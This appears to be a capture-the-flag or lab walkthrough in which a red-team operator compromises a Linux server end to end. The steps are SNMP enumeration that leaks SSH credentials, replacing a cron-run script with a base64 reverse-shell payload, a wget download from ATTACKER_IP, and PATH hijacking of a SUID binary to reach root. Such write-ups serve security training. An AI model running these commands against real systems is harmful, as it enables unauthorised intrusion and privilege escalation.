Scenario
You are a senior operator on the Hack Smarter Red Team, tasked with a penetration test against a standalone Linux server. Your objective is to gain initial access and escalate privileges to root, emulating a worst-case scenario where a threat actor successfully compromises a critical asset.
You have been given the IP address of the target server and your mission is to gain a foothold, escalate to the root user, and retrieve the final flag from the /root/ directory.
Initial Access
Finding the exposed services
Let’s scan for both TCP and UDP services. Looking only at TCP would miss an important part of this machine.
sudo nmap -sU -T4 --top-ports 100 -vv 10.1.208.104
sudo nmap -sT -T4 -vv 10.1.208.104
The relevant results are:
161/udp open snmp
22/tcp open ssh
We have SSH on TCP 22 and SNMP on UDP 161. SSH gives us a possible login route, but we need credentials first. Let’s investigate SNMP.
Enumerating SNMP
We run service detection against UDP 161:
sudo nmap -sU -sV -Pn -n -p161 10.1.208.104
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: ip-10-1-208-104
The (public) result tells us that Nmap successfully queried the service using the public community string. SNMPv1 responded, and Nmap also identified Net-SNMP with SNMPv3 support.
A community string acts as a shared access string for SNMPv1 and SNMPv2c. Here, the default value gives us read access to exposed management information. Let’s walk the available objects:
snmpwalk -v 1 -c public 10.1.208.104
iso.3.6.1.2.1.1.1.0 = STRING: "Linux ip-10-1-208-104 6.14.0-1012-aws #12~24.04.1-Ubuntu SMP Fri Aug 15 00:16:05 UTC 2025 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (485045) 1:20:50.45
iso.3.6.1.2.1.1.4.0 = STRING: "\"Admin Layne.Stanley:5t6^jahTRjab'\""
iso.3.6.1.2.1.1.5.0 = STRING: "ip-10-1-208-104"
iso.3.6.1.2.1.1.6.0 = STRING: "\"Indianapolis\""
...[SNIP]...
The interesting entry is .1.3.6.1.2.1.1.4.0, the sysContact object. Instead of ordinary administrator contact details, it contains what looks like a username and password.
Username: layne.stanley
Password: [REDACTED]
Logging in through SSH
Let’s try the credentials against the SSH service:
ssh layne.stanley@10.1.208.104
layne.stanley@ip-10-1-208-104:~$
We are now on the server as layne.stanley. We retrieve the first flag:
cat user.txt
[REDACTED]
Lateral Movement
Let’s inspect our home directory.
ls -l bankSmarter_backup.sh
-rwxr-xr-x 1 scott.weiland scott.weiland 2937 Sep 12 2025 bankSmarter_backup.sh
The script lives in Layne’s home directory but belongs to scott.weiland. We can read and execute it, but the file permissions do not let us edit its contents directly.
Before changing anything, let’s find out whether another account runs it. After uploading and running pspy64, we observe:
2026/11/01 19:21:01 CMD: UID=0 PID=2157 | /usr/sbin/CRON -f -P
2026/11/01 19:21:01 CMD: UID=1002 PID=2158 | bash /home/layne.stanley/bankSmarter_backup.sh
The script is being executed by UID 1002. Let’s map that UID to an account:
id 1002
uid=1002(scott.weiland) gid=1002(scott.weiland) groups=1002(scott.weiland),1003(ronnie.stone),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared),1008(bank-team)
This confirms that the process runs as Scott.
Write and execute permissions on its parent directory can allow us to remove or rename it and create a new file at the same path.
Let’s start a listener on our attacking machine:
penelope -p 4444
We save the Bash TCP payload in shell.txt on the target:
printf '%s\n' 'printf KGJhc2g...[SNIP]...pICY=|base64 -d|bash' > shell.txt
Removing the old file and creating a replacement succeeds:
layne.stanley@ip-10-1-208-104:~$ rm bankSmarter_backup.sh
rm: remove write-protected regular file 'bankSmarter_backup.sh'? y
layne.stanley@ip-10-1-208-104:~$ cp shell.txt bankSmarter_backup.sh
When the task runs again, our listener receives a connection:
[+] [New Reverse Shell] => ip-10-1-208-104 10.1.208.104 Linux-x86_64 scott.weiland(1002)
Let’s verify the session:
scott.weiland@ip-10-1-208-104:~$ whoami
scott.weiland
We are now operating as scott.weiland.
Scott belongs to several additional groups:
id
uid=1002(scott.weiland) gid=1002(scott.weiland) groups=1002(scott.weiland),1003(ronnie.stone),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared),1008(bank-team)
Let’s look for files and directories associated with the ronnie.stone and bank-team groups:
find / -group ronnie.stone -ls 2>/dev/null
find / -group bank-team -ls 2>/dev/null
Relevant results include:
drwxr-x--- ronnie.stone ronnie.stone /home/ronnie.stone
-rwxr-xr-x ronnie.stone ronnie.stone /opt/bank/start_ronnie_tmux.sh
drwx------ ronnie.stone bank-team /home/ronnie.stone/.ssh
The .ssh directory looks interesting, but its group ownership alone does not grant access.
scott.weiland@ip-10-1-208-104:~$ ls -tra /home/ronnie.stone/.ssh
ls: cannot open directory '/home/ronnie.stone/.ssh': Permission denied
Let’s keep looking. Scott’s Bash history contains a more useful lead:
cat ~/.bash_history
ls -la ~/Documents
cd ~/Downloads
git status
vim notes.txt
cat /var/log/syslog
ps aux | grep python
socat stdio unix-connect:/opt/bank/sockets/live.sock
htop
tail -f /var/log/auth.log
...[SNIP]...
The socat command connects standard input and output to a local Unix-domain socket. Let’s try that connection:
socat stdio unix-connect:/opt/bank/sockets/live.sock
ronnie.stone@ip-10-1-208-104:/opt/bank$
The socket gives us an interactive session with a Ronnie prompt.
id
uid=1003(ronnie.stone) gid=1008(bank-team) groups=1008(bank-team),1004(bankers),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared)
We are now ronnie.stone.
Privilege Escalation
Ronnie’s group list introduces a new opportunity: membership in bankers.
Let’s run LinPEAS for further enumeration. With linpeas.sh hosted on our attacking machine at port 81, we download and run it:
wget http://ATTACKER_IP:81/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
The SUID results contain:
-rwsr-x--- 1 root bankers 16K Sep 12 2025 /usr/local/bin/bank_backupd
Let’s break down why this matters:
rootowns the binary.- The owner’s
sindicates that SUID and owner execute permission are set. - The
bankersgroup has read and execute permissions throughr-x. - Other users have no access through these mode bits.
Ronnie can execute the program because belongs to bankers. On a filesystem honoring SUID, execution normally gives the process an effective UID of root.
Let’s inspect the binary’s printable strings:
strings /usr/local/bin/bank_backupd
...[SNIP]...
[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backupd] Connecting to central ledger...
[bank_backupd] Verifying transaction logs...
/bin/env
python3
/usr/local/bin/bank_backup.py
exec failed
...[SNIP]...
These strings suggest that the program invokes python3 through /bin/env to run /usr/local/bin/bank_backup.py.
The important detail is the interpreter name: python3 has no absolute path. If the program preserves our PATH, the executable search may reach a directory we control before it reaches the legitimate interpreter.
First, we inspect our current search path:
echo "$PATH"
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
We place /tmp first:
export PATH=/tmp:$PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
Now we create a file named python3 in /tmp, containing the shell command used during the successful attempt:
cd /tmp
echo '/bin/sh' > python3
chmod 777 python3
Let’s run the SUID program:
/usr/local/bin/bank_backupd
[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backupd] Connecting to central ledger...
[bank_backupd] Verifying transaction logs...
# id
uid=0(root) gid=0(root) groups=0(root),1004(bankers),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared),1008(bank-team)
We have root.
Let’s collect the root flag:
cd /root
ls
cat root.txt
root.txt snap tmux
VGhh...[SNIP]...uawo=
We have completed the objective.
Disclaimer
AI-assisted tools were used to support the writing, editing, and structuring of this report. The technical testing, exploitation, and findings were performed and verified independently by the author.
